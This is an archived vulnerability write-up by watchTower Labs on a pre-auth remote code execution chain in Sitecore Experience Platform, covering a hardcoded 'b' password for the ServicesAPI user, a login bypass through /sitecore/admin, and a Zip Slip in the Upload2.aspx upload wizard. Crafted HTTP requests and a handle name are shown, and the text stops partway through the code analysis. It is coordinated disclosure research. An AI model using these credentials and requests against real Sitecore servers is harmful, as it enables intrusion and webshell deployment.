

Is b For Backdoor? Pre-Auth RCE Chain In Sitecore Experience Platform

Is b For Backdoor? Pre-Auth RCE Chain In Sitecore Experience Platform -

@chudyPB, Piotr Bazydło (@chudyPB), watchTower Labs.

- Published: 2025-06-17
- Original: <<https://labs.watchtower.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/>>
- Preserved from: <https://labs.watchtower.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

This research is a glimpse into the capability powering the watchTower Platform, a **Preemptive Exposure Management** solution. We enable organizations to **autonomously validate and mitigate** their exposure to emerging threats, ahead of in-the-wild exploitation.

[Request a demo](#)

Welcome to June! We're back—this time, we're exploring Sitecore's Experience Platform (XP), demonstrating a pre-auth RCE chain that we reported to Sitecore in February 2025.

[image: image]

We've spent a bit of time recently looking at CMS's given the basic fact that they represent attractive targets for attackers.

As you may remember, Kentico Xperience CMS obtained our gaze earlier in 2025, and patched rapidly (typically the leading inhibitor to our publishing schedule). [In the blog post](#), you can read about how we leveraged authentication "weaknesses" to gain full control of fully patched (at the time) Kentico deployments.

Today, we'll be following a similar path - it does appear that CMSs and password security are actually mutually exclusive concepts, and struggle to exist in the same universe.

Sitecore's Experience Platform is a vastly popular Content Management System (CMS), exposed to the Internet and heavily utilised across organizations known as 'the enterprise'.

That means that it doesn't compete with WordPress, and has an expectation of being enterprise-ready (we're not sure, either).

Sitecore describes its customer base as visionary:

[image: image]

Anyway - at the end of February 2025, we decided to have a look at the newest major build available, which at the time was 10.4.1. Notably, a trivial Pre-Auth RCE (CVE-2025-27218) had been fixed in this version just a month before.

To demonstrate how popular Sitecore is, a simple (and probably not very accurate) search using a popular tool fingerprints more than 22,000 instances exposed.

While we never start with expectations when we 'just take a look quickly', we ultimately discovered seven (7) different vulnerabilities, which we have divided into two blog posts. This is for two fairly simple reasons:

- We struggle to be succinct,
- Some are not yet patched (see, we're nice!)

Today, we're beginning this two-part series with a chain of three (3) vulnerabilities found. While we acknowledge that part 1 (this post) might be viewed as less "exciting" in terms of Matrix-tier Neo-style backflips - we promise it will be entertaining, and we'll still demonstrate an only recently patched Pre-Auth RCE chain.

To summarize, in this blog post, we are going to walk you through three vulnerabilities:

- WT-2025-0024 (CVE-2025-34509): Hardcoded Credentials
- WT-2025-0032 (CVE-2025-34510): Post-Auth RCE (Via Path Traversal)
- WT-2025-0025 (CVE-2025-34511) (Bonus): Post-Auth RCE (Via Sitecore PowerShell Extension)

As of the time of writing, we're unaware of the assigned CVEs, but given that this research is embargoed until June 17 (in agreement with Sitecore to allow customers to deploy patches that have been available for a month+ at the time of writing), we anticipate that Sitecore will assign CVE identifiers on June 17.

Update: VulnCheck assigned CVEs for the vulnerabilities mentioned above. This article has been updated.

If you're a regular reader of our monologues and diatribes, you'll know the following image - we couldn't resist the opportunity to reuse it:

[image: image]

WT-2025-0024 (CVE-2025-34509): Hardcoded ServicesAPI User Credentials

Sometimes, life is simpler than you might expect it to be, and so we found ourselves diving into the main authentication mechanism implemented in Sitecore.

As a very brief explainer, Sitecore users and their credentials are stored in a cryptically named `dbo.aspnet_Users` database table, and (un)fortunately really a quick glance here

put a sudden and violent halt to all of our research plans.

The following screenshot presents users defined in the default installation of Sitecore:

[image: image]

Those who have ever looked at Sitecore before, or read about it, will be aware that “users” like `default\Anonymous` or `extranet\Anonymous` exist and are used in various contexts. We thought that those users are virtually used to, e.g. define permissions of an unauthenticated user.

What surprised us was that they actually do exist as actual users in the database, and do have defined passwords as can be seen in `dbo.aspnet_Membership` table.

Why?

[image: image]

This is well-trodden ground, but to humour ourselves and our intrusive thoughts, we wondered: Is it possible that Sitecore still has users defined with trivially brute-forced passwords?

So, we just decided to.. attempt to brute-force the passwords of internal Sitecore users:

- `default\Anonymous`
- `extranet\Anonymous`
- `sitecore\PowerShellExtensionsAPI`
- `sitecore\ServicesAPI`

Firstly, we needed to identify the password storage format, which seems to be Hashcat mode 140 wrapped with base64 as seen below:

```
base64encode(sha1(base64decode(salt) + utf-16-le-encode(password)))
```

Roughly 3 seconds later, we had a result (honestly, it really was this simple, and we couldn't make this sound any more exciting than the simpler nature of what is explained above):

```
b6ba921570c83ff0fc9d51bf36e544bbfa5fafb3:9062da4353088a5dd2be1419ae310eb8:b
```

[image: image]

This is sadly not a joke.

Visionary. The `sitecore\ServicesAPI` user has a password hard-coded to `b`. Firstly, we had an empty password (see [Kentico blog](#)) in the CMS solution, and now we have a single-letter password.

Why ‘b’? Well, this has a level of sentimental attachment to the Sitecore product for those unaware.

Historically, the default password of the default Sitecore admin user was set to `b`. It's not a thing anymore, as nowadays you define your own password during the product installation.

Still, we hope in 2025 it is fairly clear to our multi-billion dollar industry that we should modify weak and default administrator credentials, and thus this is not a problem that we

‘see’ very often. However, when they're internal users, backend users, or users that actually operate behind the scenes, and aren't known to be weak, is anyone going to change them?

The reality is that most users, especially enterprises that leverage Sitecore, are going to be conservative and not amend credentials for users for fear of breaking the environment and CMS. Even the [vendor tells you](#) that you should not touch those users:

Sitecore provides a number of default user accounts that you should not change. ... Editing a default user account can affect other areas of the security model.

Now, we get it - “wow, watchTower, how will you stretch a single-letter password into yet another monologue with memes?”. Well, we know you may still have several questions:

- Is it even possible to authenticate as the `sitecore\ServicesAPI` user, to any Sitecore component?
- This user has no roles assigned in Sitecore, so maybe that's not possible?
- If one could even authenticate, would it give an attacker any advantage?
- How come the password is even set to `b`?

Before this though, we want to highlight a little easter egg: when you verify the details for the `sitecore\ServicesAPI` user in version 10.4, the created time stamp is 1st April.

Maybe it was supposed to be the April Fools' Day joke after all?

[\[image: image\]](#)

Authenticating As The ServicesAPI User

As we eluded to above, we actually don't know if we can “use” these credentials - perhaps they are totally useless? As we've discussed above, this user has no roles and permissions assigned in Sitecore.

Typically, when dealing with ‘internal users’, we can make an educated assumption that they may work only on “alternative” authentication mechanisms (like API endpoints) in a default configuration, and so we took a look.

Although there are a number, they are checking the account privileges before the actual authentication part. As we allude to, the default permissions assigned to the `ServicesAPI` user were not sufficient.

This leaves us with one option: the Sitecore default authentication mechanism.

We can reach it through e.g. the following endpoint:

`https://target/sitecore`

This URL typically redirects us to Sitecore Identity Server, which handles authentication.

When we attempt to authenticate with `ServicesAPI/b` credentials though, we receive a rather unfriendly and rude message:

[\[image: image\]](#)

(We do think this is wrong!)

[image: image]

Simply - it seems that we cannot use the default authentication endpoint to access Sitecore with our internal shiny `ServicesAPI` user.

As the ever-optimists that we are, though, we are able to at least confirm that the credentials are correct (different credentials throw `Invalid username or password` message)!

Maybe there was an issue with how permissions are handled? Several of these checks are implemented within the `Sitecore.Owin.Authentication.Pipelines.CookieAuthentication.SignIn.CheckClientUser.Process` method:

```
public override void Process(SignInArgs args)
{
    Assert.ArgumentNotNull(args, "args");
    if (!args.Site.IsBackend) // [1]
    {
        return;
    }
    if (args.User.InnerUser.IsAdministrator && !args.User.IsDisabled)
    {
        return;
    }
    if (args.User.InnerUser.IsInRole(Constants.SitecoreClientUsersRole) &&
!args.User.IsDisabled)
    {
        return;
    }
    args.Success = false;
    UrlHandle urlHandle = new UrlHandle();
    urlHandle["message"] = Translate.Text(args.User.IsDisabled ? "The account is
disabled. Try to login with another one." : "You do not have access to the system. If you
think this is wrong, please contact the system administrator."); // [2]
    UrlHandle urlHandle2 = urlHandle;
    UrlString urlString = new UrlString(args.Site.LoginPage);
    urlHandle2.Add(urlString);
    args.HttpContext.Response.Redirect(urlString.ToString());
    args.AbortPipeline();
    this._log.Audit("Login to Sitecore CMS instance failed: " + (args.User.UserName
?? "UNKNOWN_USER") + ".", this);
}
```

We can see several checks implemented.

If we pass any of them, the code returns, and we successfully authenticate into Sitecore. Otherwise, we will be blocked (one can notice a familiar message at [2]).

The check in [1] , however, is quite interesting.

```
public virtual bool IsBackend
{
    get
    {
        Database database = this.Database;
        return ((database != null) ? database.Name : null) == "core";
    }
}
```

To provide you a little bit more context, Sitecore consists of several databases, like: `core` , `master` , `web` and others.

Depending on the functionality and area of Sitecore, we are landing at a different `Site` , and sites may have different databases attached.

In simple words, if we are operating on a site where the database is not `core` , `get_IsBackend` will return `False` . This means that we will return from the `Process` method and access won't be prohibited!

Now, our question evolves - how can we specify a different `Site` during the authentication process, as the default `Site` is configured to use the `core` database.

The answer is to be found in the `Sitecore.Sites.config` file.

When a user attempts to authenticate to Sitecore using default paths like `/sitecore` or `/sitecore/login` , a `Site` called `shell` is used:

```
<site name="shell" database="core" loginPage="/sitecore/login" isInternal="true"
virtualFolder="/sitecore/shell" physicalFolder="/sitecore/shell"
rootPath="/sitecore/content" ...../>
```

Our unsuccessful authentication attempt, albeit with valid credentials, is blocked because of the `database` and `loginPage` attributes.

As the `Site shell` leverages the `core` database, we are not able to properly authenticate (the `IsBackend` check won't be passed).

Therefore, it's simple - we need to identify a default `Site` that has a login endpoint defined and its database is not equal to `core` .

Luckily, that exists in the form of the `admin` site:

```
<site name="admin" isInternal="true" virtualFolder="/sitecore/admin"
physicalFolder="/sitecore/admin" enableTracking="false" enableWorkflow="true"
domain="sitecore" loginPage="/sitecore/admin/login.aspx"
role:require="Standalone or ContentManagement or XMCloud" />
```

This Site has:

- A login page defined,
- No database attribute defined

This is exactly what we need!

In simple terms, It means that we can just access the authentication panel through the defined virtualFolder (which is /sitecore/admin endpoint), and we should be able to authenticate!

The screenshot below shows that we have successfully authenticated (no error message, and the username in the right corner)!

[image: image]

In the background, our credentials are successfully verified and we pass the security check.

We are redirected to the /sitecore/admin URL and a valid .AspNet.Cookies cookie is set! The admin endpoint redirects us back to the Identity Server (the login page) for one simple reason - we are not an admin.

Regardless, we now have a valid session cookie generated, and this represents a huge win for us.

To outline this flow, we present the entire authentication flow. You can see:

- /sitecore/admin redirects us to the Identity Server.
- When we successfully authenticate, we are redirected back to the CMS login page and valid session cookies are set.

[image: image]

As a basic TL;DR, we have demonstrated that we can:

- Bypass permission checks,
- Generate and obtain a valid session for the ServicesAPI user.

Depending on the Sitecore configuration, there may be different authentication options, too.

For instance, Sitecore implements ItemService API, which accepts requests from a loopback interface only by default. However, based on watchTower data, it appears to be quite a common option to have this API exposed to all interfaces. When this occurs, we can use the authentication endpoint /sitecore/api/ssc/auth/login to authenticate and generate a valid session for the ServicesAPI user. This will be relevant in a future blog post.

How Far Can We Go With The ServicesAPI User

Now that we have a valid ASP session, a whole new world of new possibilities exist in front of us compared to our access as a completely unauthenticated attacker.

While we can't access "Sitecore Applications" (where a significant portion of functionality is defined) as the `ServicesAPI` has no roles assigned, we can still:

- Access a number of APIs.
- Pass through IIS authorization rules and directly access some endpoints.

The last point is critical. Sitecore defines 9 authorization rules in the `web.config` file, designed to block an unauthenticated user from accessing almost anything created within the Sitecore webroot directory.

A sample of the defined authorization rules are as follows:

```
<location path="sitecore/shell">
  <system.web>
    <authorization>
      <deny users="?" />
      <allow users="*" />
    </authorization>
  </system.web>
</location>
<location path="sitecore/admin">
  <system.web>
    <authorization>
      <deny users="?" />
      <allow users="*" />
    </authorization>
  </system.web>
</location>
<location path="App_Config">
  <system.web>
    <authorization>
      <deny users="?" />
      <allow users="*" />
    </authorization>
  </system.web>
</location>
<location path="xsl">
  <system.web>
    <authorization>
      <deny users="?" />
      <allow users="*" />
    </authorization>
  </system.web>
</location>
<location path="sitecore modules/Shell">
  <system.web>
    <authorization>
      <deny users="?" />
      <allow users="*" />
    </authorization>
  </system.web>
</location>
```

As we have a valid session now, these rules are totally meaningless to us. We can now directly access multiple `aspx` files (which are stored in the prohibited directories), and significantly extend the application attack surface that we can access.

To verify this, we can access the `/sitecore/shell/sitecore.version.xml`, which should be inaccessible to unauthenticated users:

[image: image]

This proves definitively that our session is valid, and perhaps we can look for some post-auth vulnerabilities to continue the chain.

DevOops - It's Probably Not A Backdoor

Our curiosity is infinite, and we were genuinely curious to understand how these hardcoded credentials came to exist in the first place (not to mention the obvious that we wanted to understand the spread of affected versions, and begin notifying affected watchTowr customers).

Logic tells us that this may stem from the product installer, and so we decided to review. When you unpack the installer package, you are presented with multiple different ZIP archives:

[image: image]

The one ending with `_cm.scwdp.zip` is interesting, as it appears to contain critical files with the `.dacpac` extension.

[image: image]

For those unaware, `DACPAC` files contain database structure. They can also pre-define tables and row contents. Put simply - they are used to create the database, and seed default data.

You can verify the content of DACPAC files in two ways:

- By unpacking it or
- By importing it through e.g. SQL Server Management Studio (it will create a database, which we can then review).

Let's start with the manual analysis, focusing on `Sitecore.Core.dacpac`, as user credentials are defined in the `Core` database.

We can quickly identify that it contains directories, which correspond to tables.

[image: image]

We want to analyze `dbo.aspnet_Membership`, as this table contains passwords. In the directory, we are presented with a `BCP` file, which we can just read with `cat` like the maniacs we are:

[image: image]

At first glance, this looks mostly like some random gibberish.

However, it's not - when you compare the contents with the database of the deployed product and passwords of `default\Anonymous`, `extranet\Anonymous` and `sitecore\ServicesAPI` users, you see the expected values:

[image: image]

[image: image]

We can see that all three users are already defined in the `Sitecore.Core.dacpac` file! This proves our thesis: When you install Sitecore's XP product, the database is seeded with data that includes our identified hardcoded users and any associated weak credentials.

For those following along at home, you can perform a small experiment if you wish. You can install Sitecore 10.4 and compare the password hashes with the ones we are providing here. **They will be exactly the same.**

This demonstrates our concern—the weak credentials originate from within the Sitecore installer, which just imports a pre-made database.

Let's start with the `ServicesAPI` password set to `b`. We reviewed installers for several versions of the Sitecore product, and the results were as follows:

Version	Result
9.3	Not cracked
10.0	Not cracked
10.1	Cracked - b
10.2	Cracked - b
10.3	Cracked - b
10.4	Cracked - b

We can assume that there is some build process which generates a database and files for the appropriate version of the product.

It seems that all 3 internal users had been generated with a “strong” password (didn't crack within our 10-second attempt limit) prior to 10.1. However, Something appears to have gone horribly wrong during the process for the 10.1 version, and the `ServicesAPI` user password was changed to `b`. Since version 10.1, the product installers have deployed the weak default credentials, and anybody can now authenticate to Sitecore as this low-privileged internal user.

On a positive note, it seems that you are only vulnerable if you have installed Sitecore using installers for versions ≥ 10.1 . If you e.g. had an older Sitecore installed (like 9.1) and then upgraded to the newest version, we believe you are not affected. This is because, we hope, you are migrating your old database and you are not relying on the one delivered within the vulnerable installation package.

On the other hand, we have a question—how do we feel about the fact that every Sitecore deployment has the same passwords set for the internal users, even if they are ‘not yet’ cracked (again, within our 10-second attempt)?

Based on our analysis, passwords are not unique across installs and will not be changed throughout the installation process. Moreover, Sitecore may have access to deployed instances, given that they are likely aware of the values for these pre-set and hardcoded credentials.

We eventually spent some extra time on password cracking activities against the additional internal users, but had no luck. Who knows, though, maybe somebody was able to crack these hashes?

The point is simple: if/when somebody is able to “crack” the hashes for the hardcoded users, they will likely be able to access Sitecore instances worldwide.

While we'd love to say ‘please reset those credentials ASAP’, we cannot confirm whether this would be without issue. We again cite this fragment of Sitecore's documentation:

Sitecore provides a number of default user accounts that you should not change. ...
Editing a default user account can affect other areas of the security model.

Enough of being ourselves - we'll end this with a meme:

[image: image]

WT-2025-0032 (CVE-2025-34510): Post-Auth RCE Through Zip Slip

Great - we've made our point about authentication practices (or perhaps the lack of). But, as we've discussed in previous research, it's RCE or nothing.

As our user has no roles assigned by default, this is not as trivial as you'd expect - even though CMS's have a tendency to be "RCE-by-design".

Quickly, we decided to go through the `aspx` files that are available to any authenticated user. As always it seems, we instantly identified intriguing `aspx` files within the `/sitecore/shell/Applications/Dialogs/Upload/` file path.

[image: image]

`Upload2.aspx` turned out to be quite promising. It points to the `Sitecore.Shell.Applications.Dialogs.Upload.UploadPage2` class:

```

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    if (base.IsEvent)
    {
        return;
    }
    if (base.Request.Files.Count <= 0)
    {
        return;
    }
    UrlHandle urlHandle;
    if (!UrlHandle.TryGetHandle(out urlHandle) || urlHandle == null) // [1]
    {
        SecurityException ex = new SecurityException("Upload handle
invalid");

        Log.Error("File upload handle not found. Path: " +
base.Request.Form["Path"], ex, this);
        throw ex;
    }
    string folder = urlHandle["Path"]; // [2]
    string text = urlHandle["Item"];
    string name = urlHandle["Language"];
    bool overwrite = urlHandle["Overwrite"] == "1";
    bool unpack = urlHandle["Unzip"] == "1";
    bool versioned = urlHandle["Versioned"] == "1";
    string allowedFileTypes = urlHandle["AllowedFileTypes"];
    UrlHandle.DisposeHandle(urlHandle);
    UploadArgs uploadArgs = new UploadArgs // [3]
    {
        Files = base.Request.Files,
        Overwrite = overwrite,
        Unpack = unpack,
        Versioned = versioned,
        Language = Language.Parse(name),
        AllowedFileTypes = allowedFileTypes
    };
    if (!string.IsNullOrEmpty(text)) // [4]
    {
        uploadArgs.Folder = text;
        uploadArgs.Destination = UploadDestination.Database;
    }
    else
    {

```

```

        uploadArgs.Folder = folder;
        uploadArgs.Destination = UploadDestination.File;
        uploadArgs.FileOnly = true; // [5]
    }
    Pipeline pipeline = PipelineFactory.GetPipeline("uiUpload"); // [6]
    pipeline.Start(uploadArgs);
}

```

At a quick glance, this class seems to be fairly simple to analyze:

- At [1], the code extracts some kind of a `urlHandle`.
- At [2], it retrieves parameters from the `urlHandle`.
- Those parameters are used at [3], in order to initialize the `uploadArgs` object.
- At [4] and [5], we have different upload destinations options set, depending on the value of `urlHandle["Item"]`. One can correctly assume that we want the `uploadArgs.Destination` to be set to `File` enum rather than `Database`.
- At [6], we have the `uiUpload` pipeline defined and then executed.

We have two major mysteries here: we know nothing about

- `urlHandle` or,
- the `uiUpload` pipeline.

Let's start with the `uiUpload` pipeline, as it is much simpler to analyze.

Sitecore pipelines have already been discussed in research previously, so we won't rehash this topic. What we need to know is simple - when a pipeline is triggered, Sitecore will call the set of methods defined in it. A pipeline can be optionally aborted at any point, and the upcoming methods will never be called.

This is quite an interesting and convenient concept. You can define a pipeline consisting of several methods, the first of which is expected to implement security checks. If any of the checks fail, you can abort the pipeline, and the final method will never be executed.

The `uiUpload` pipeline is defined in Sitecore `.config`:

```
<uiUpload>
  <processor mode="on" type="Sitecore.Pipelines.Upload.CheckPermissions, Sitecore.Kernel"
/>
  <processor mode="on" type="Sitecore.Pipelines.Upload.ValidateContentType,
Sitecore.Kernel" />
  <processor mode="on" type="Sitecore.Pipelines.Upload.CheckSize, Sitecore.Kernel" />
  <processor mode="on" type="Sitecore.Pipelines.Upload.CheckSvgForJs, Sitecore.Kernel"
resolve="true" />
  <processor mode="on" type="Sitecore.Pipelines.Upload.ResolveFolder, Sitecore.Kernel" />
  <processor mode="on" type="Sitecore.Pipelines.Upload.Save, Sitecore.Kernel" />
  <processor mode="on" type="Sitecore.Pipelines.Upload.Done, Sitecore.Kernel" />
</uiUpload>
```

Before we even reach the `Sitecore.Pipelines.Upload.Save` processor, we have some validation processors, like: `CheckPermissions` or `ValidateContentType`.

The latter seems to be potentially troublesome for attackers:

```

internal void Process(UploadArgs args, HttpFileCollectionBase files)
{
    IReadOnlyCollection<FileTypeValidator> readOnlyCollection =
ValidateContentType.CreateValidators(args.AllowedFileTypes); // [1]
    if (!readOnlyCollection.Any<FileTypeValidator>())
    {
        return; // [2]
    }
    foreach (object obj in files)
    {
        string name = (string)obj;
        HttpPostedFileBase httpPostedFileBase = files[name];
        if (httpPostedFileBase != null && !ValidateContentType.IsFileAccepted(args,
httpPostedFileBase, readOnlyCollection))
        {
            string text = Translate.Text("File type isn't allowed.");
            text = StringUtil.EscapeJavascriptString(text);
            string fileName =
StringUtil.EscapeJavascriptString(httpPostedFileBase.FileName);
            args.UiResponseHandlerEx.FileCannotBeUploaded(fileName, text);
            args.ErrorText = Translate.Text(string.Format("The \"{0}\" file cannot be
uploaded. File type isn't allowed.", httpPostedFileBase.FileName));
            Log.Warn(args.ErrorText, this);
            args.AbortPipeline(); // [3]
            break;
        }
    }
}

```

At [1], the code creates a collection of validators, which are based on the `args.AllowedFileTypes`. The code then uses those validators to verify the extension of the uploaded file.

If we don't pass through all of the validators, the pipeline will be aborted at [3] and we will never reach the final file upload method: `Sitecore.Pipelines.Upload.Save`.

If there are no validators, the code will just return at [2] and the pipeline will continue.

You may remember that the `args.AllowedFileTypes` is set through the `urlHandle["AllowedFileTypes"]` handler. This elegantly leads us to our second mystery by force: what is the purpose of `urlHandle` and how can we control the upload arguments?

`urlHandle` is an object stored in memory, which can be thought of as some kind of a 'session state' equivalent. When you perform an action in Sitecore, it may cause a new `urlHandle` to be created. Then, depending on your actions, different parameters will be assigned to this handle.

So, the next steps are clear.

- We need to be able to retrieve a valid (already existing) handle in the `UploadPage2`.
- We need to provide the name of an existing handle through the `hdl` parameter.
- We can then either use a different endpoint to generate a valid handle or just use one of the “hardcoded” handles (handles that always exist in Sitecore).

Today, we will use the second approach. For instance, we can execute the following request:

```
GET /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx?hdl=sc_ct_trk
```

and we can observe that the handle has been successfully retrieved in the debugger:

[image: image]

However, we can see that one piece is missing.

We need to somehow set particular properties of this handle, like `Item` or `Path`, in order to deliver arguments to the `uiUpload` pipeline.

Luckily, the `Upload2.aspx` contains the control called `UploadForm`, which is some kind of wizard-like form. When a user visits the

`/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx?hdl=sc_ct_trk` endpoint in the browser, the upload form appears.

[image: image]

You need to perform actions defined in the current step of the form, and then click the `Next` button. When a user selects a file to upload and then clicks the button, they get moved to the second step of the wizard.

[image: image]

Here, we need to select a media library, to which we are uploading our file, and so on.

While this sounds like an instruction set on where to click, we are particularly interested in the code behind this magic blue button when clicked.

It turns out that the `UploadForm.ActivePageChanged` method is called:

```

protected override void ActivePageChanged(string page, string oldPage)
{
    Assert.ArgumentNotNull(page, "page");
    Assert.ArgumentNotNull(oldPage, "oldPage");
    this.NextButton.Header = "Next";
    if (page == "Settings")
    {
        this.NextButton.Header = "Upload";
    }
    base.ActivePageChanged(page, oldPage);
    if (page == "Uploading") // [1]
    {
        this.NextButton.Disabled = true;
        this.BackButton.Disabled = true;
        this.CancelButton.Disabled = true;
        UrlHandle handle = this.GetHandle();
        if (this.UploadTreeview != null)
        {
            Item selectionItem =
this.UploadTreeview.GetSelectedItem();
            if (selectionItem != null)
            {
                handle["Item"] = selectionItem.ID.ToString(); //
[2]

Context.ClientPage.ClientResponse.SetAttribute("Item", "value",
selectionItem.ID.ToString());

                handle["Language"] =
selectionItem.Language.ToString();

Context.ClientPage.ClientResponse.SetAttribute("Language", "value",
selectionItem.Language.ToString());
            }
        }
        handle["Path"] = this.Directory; // [3]
        Context.ClientPage.ClientResponse.SetAttribute("Path", "value",
this.Directory);
        string value = this.OverwriteCheck.Checked ? "1" : "0";
        handle["Overwrite"] = value;
        Context.ClientPage.ClientResponse.SetAttribute("Overwrite", "value",
value);

        string value2 = this.UnzipCheck.Checked ? "1" : "0";
        handle["Unzip"] = value2;
        Context.ClientPage.ClientResponse.SetAttribute("Unzip", "value",

```

```

value2);

        string value3 = this.VersionedCheck.Checked ? "1" : "0";
        handle["Versioned"] = value3;
        Context.ClientPage.ClientResponse.SetAttribute("Versioned", "value",
value3);

        Context.ClientPage.ClientResponse.Timer("StartUploading", 10);
        handle.ToHandleString();
    }
    if (page == "LastPage")
    {
        this.NextButton.Disabled = true;
        this.BackButton.Disabled = true;
        this.CancelButton.Disabled = true;
        this.CancelButton.Disabled = false;
    }
}

```

When you click the `Next` button, the current page is being changed and `ActivePageChanged` is being called.

At [1], the code verifies if the current page name is `Uploading`. If yes, we start setting parameters for the current handle!

For instance, at [2], the `urlHandle['Item']` property is being set. At [3], the `handle['Path']` is set, etc.

We can just use the upload wizard to set the arguments!

Vulnerability research life is rarely this easy, though. It's been a while since we have analyzed the `Upload2.OnLoad` method, and it presents a good opportunity to remind ourselves of some of the key fragments here:

```

string folder = urlHandle["Path"];
string text = urlHandle["Item"];
//... removed for readability
if (!string.IsNullOrEmpty(text))
{
    uploadArgs.Folder = text;
    uploadArgs.Destination = UploadDestination.Database;
}
else
{
    uploadArgs.Folder = folder; // [1]
    uploadArgs.Destination = UploadDestination.File;
    uploadArgs.FileOnly = true;
}
Pipeline pipeline = PipelineFactory.GetPipeline("uiUpload");
pipeline.Start(uploadArgs);

```

First of all, we want the `urlHandle['Item']` property to be empty. This is because we are not interested in the database upload - we want to reach the code at `[1]` and write files to the filesystem.

The second item of note is the `urlHandle['Path']` property, which defines a potential upload path. Unfortunately, we are not able to control this property and it will be always an empty string for us.

When a user tries to perform an upload through the UI, the `Item` will never be empty. Here is a sample request that will be performed by the browser:

```

POST /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx?hdl=sc_ct_trk HTTP/2
Host: labcm.dev.local
Cookie: ...

__PARAMETERS=&__EVENTTARGET=NextButton&__EVENTARGUMENT=&__SOURCE=NextButton&__EVENTTYPE=c
lick&__CONTEXTMENU=&__MODIFIED=&__ISEVENT=1&__SHIFTKEY=&__CTRLKEY=&__ALTKEY=&__BUTTON=0&_
_KEYCODE=undefined&__X=353&__Y=192&__URL=https%3A//labcm.dev.local/sitecore/shell/Applica
tions/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk&__CSRFTOKEN=...&__VIEWSTATE=...&__VIE
WSTATE=&Item=&Language=&Path=&Unzip=0&Overwrite=0&File17909683=C%3A%5Cfakepath%5Cwat.txt&
File17909687=&UploadTreeview_Selected=3D6658D8A0BF4E75B3E2D050FABCF4E1&UploadTreeview_Dat
abase=master&UploadTreeview_Parameters=%3Fdv%3DMaster%26fi%3DContains%2528%2527%257BF5DD
826-48C6-436D-B87A-
7C4210C7413B%257D%2527%252C%2520%2540%2540templateid%2529&UploadTreeview_Language=en&ffSu
bmitForm=

```

In order to have an empty `Item`, we need to perform all the form-related requests manually and remove all the `UploadTreeview` related parameters, just like this:

```
POST /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx?hdl=sc_ct_trk HTTP/2
Host: labcm.dev.local
Cookie: ...

__PARAMETERS=&__EVENTTARGET=NextButton&__EVENTARGUMENT=&__SOURCE=NextButton&__EVENTTYPE=c
lick&__CONTEXTMENU=&__MODIFIED=&__ISEVENT=1&__SHIFTKEY=&__CTRLKEY=&__ALTKEY=&__BUTTON=0&__
KEYCODE=undefined&__X=353&__Y=192&__URL=https%3A//labcm.dev.local/sitecore/shell/Applica
tions/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk&__CSRFTOKEN=...&__VIEWSTATE=...&__VIE
WSTATE=&Item=&Language=&Path=&Unzip=0&Overwrite=0&File17909683=C%3A%5Cfakepath%5Cwat.txt&
File17909687=&ffSubmitForm=
```

We are aware that this was not an incredibly entertaining fragment of the blog post, but we felt obliged to show you those minor details as they are crucial for the vulnerability flow and general understanding of the entire exploitation process.

At this stage, we know how to control almost all of the parameters for our `uiUpload` pipeline.

Let's have a look at the debugger, with the crucial arguments highlighted.

[\[image: image\]](#)

One can see that:

- `AllowedFileTypes` is an empty string. It means that there will be no file extension-based checks!
- `Destination` is set to `File`, which means that we are uploading a file to the filesystem (and not database).
- `Folder` is an empty string, and we cannot control this.

This is not ideal - an empty `Folder` property does not look good. Let's analyze the final upload method of our pipeline, which is `Sitecore.Pipelines.Upload.Save.Process` :

```

public void Process(UploadArgs args)
{
    Assert.ArgumentNotNull(args, "args");
    for (int i = 0; i < args.Files.Count; i++)
    {
        HttpPostedFile httpPostedFile = args.Files[i];
        if (!string.IsNullOrEmpty(httpPostedFile.FileName))
        {
            try
            {
                bool flag = UploadProcessor.IsUnpack(args,
httpPostedFile);

                if (args.FileOnly)
                {
                    if (flag)
                    {
                        Save.UnpackToFile(args,
httpPostedFile); // [1]
                    }
                    else
                    {
                        string filename =
this.UploadToFile(args, httpPostedFile); // [2]

                        if (i == 0)
                        {
                            args.Properties["filename"] = FileHandle.GetFileHandle(filename);
                        }
                    }
                }
                //...
            }
        }
    }
}

```

If we are uploading a file with a `.zip` extension, and we set the `Unzip` parameter to `1` in the wizard form, we reach the `UnpackToFile` call at `[1]`.

Otherwise, we'll reach the `UploadToFile`, which uploads a single file.

Let's just try - what happens when we try to upload the webshell `watchTowr.aspx`?

Unfortunately, nothing.

Long story short - `UploadToFile` internally uses the `Path.IsPathRooted` method to verify if our path is rooted. If not, an exception will be thrown and our file won't be uploaded.

This all happens because we cannot control the target upload argument `Folder`, which will always be empty for us.

[image: image]

We have our answer - we cannot directly upload a webshell. It's not over yet, though (it never is at watchTower).

We've mentioned that we can upload ZIP files and force the code to extract said ZIP files with the `Save.UnpackToFile` method:

```
private static void UnpackToFile(UploadArgs args, HttpPostedFile file)
{
    Assert.ArgumentNotNull(args, "args");
    Assert.ArgumentNotNull(file, "file");
    string filename = FileUtil.MapPath(TempFolder.GetFilename("temp.zip"));
    file.SaveAs(filename);
    using (ZipArchive zipArchive = new ZipArchive(file.InputStream)) // [1]
    {
        string invalidEntryName;
        if (!Save.VerifyArchiveFilesName(args, zipArchive.Entries,
file.FileName, out invalidEntryName)) // [2]
        {
            Save.AbortPipeline(args, file.FileName, invalidEntryName);
        }
        else
        {
            Save.SaveUnpackedFiles(args, zipArchive.Entries); // [3]
        }
    }
}
```

At [1], the code iterates over files included in the ZIP archive, which is fully controllable by the attacker.

At [2], the ZIP entry (file included in ZIP) is being validated with the `VerifyArchiveFilesName` method.

We will spare you the inane detail - what you need to know is that this method performs no checks against the path traversal sequences. We suspect you can clearly see where this is heading at this point.

We eventually reach the `SaveUnpackedFiles` method:

```

private static void SaveUnpackedFiles(UploadArgs args,
ReadOnlyCollection<ZipArchiveEntry> archiveEntries)
{
    Assert.ArgumentNotNull(args, "args");
